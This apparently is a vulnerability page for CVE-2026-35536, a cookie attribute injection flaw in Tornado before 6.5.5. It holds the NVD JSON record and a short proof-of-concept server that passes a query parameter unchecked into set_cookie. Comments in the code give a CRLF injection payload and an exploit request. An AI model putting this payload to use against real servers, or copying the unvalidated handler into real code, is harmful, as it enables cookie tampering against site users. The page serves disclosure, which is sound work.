CVE-2026-35536

import tornado.web import tornado.ioloop # Simulating the vulnerable component class MainHandler(tornado.web.RequestHandler): def get(self): # Attacker controls the 'domain' parameter via query string domain_input = self.get_argument("domain", "example.com") # Vulnerability: set_cookie does not check for special characters like \r\n # Attack payload: ".evil.com\r\nSecure; HttpOnly" self.set_cookie("session_id", "secret_value", domain=domain_input) self.write("Cookie set with domain: " + domain_input) if __name__ == "__main__": app = tornado.web.Application([(r"/", MainHandler)]) app.listen(8888) print("Server running on http://localhost:8888") tornado.ioloop.IOLoop.current().start() # Exploit request example: # GET /?domain=.evil.com%0D%0ASecure;%20HttpOnly

{"cve": {"id": "CVE-2026-35536", "sourceIdentifier": "[email protected]", "published": "2026-04-03T04:16:53.550", "lastModified": "2026-04-10T15:14:22.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to .RequestHandler.set_cookie were not checked for crafted characters."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-159"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.5", "matchCriteriaId": "00D7B62E-5B93-4654-80D9-C7B7BC3A5BB8"}]}]}], "references": [{"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.5", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-78cv-mqj4-43f7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}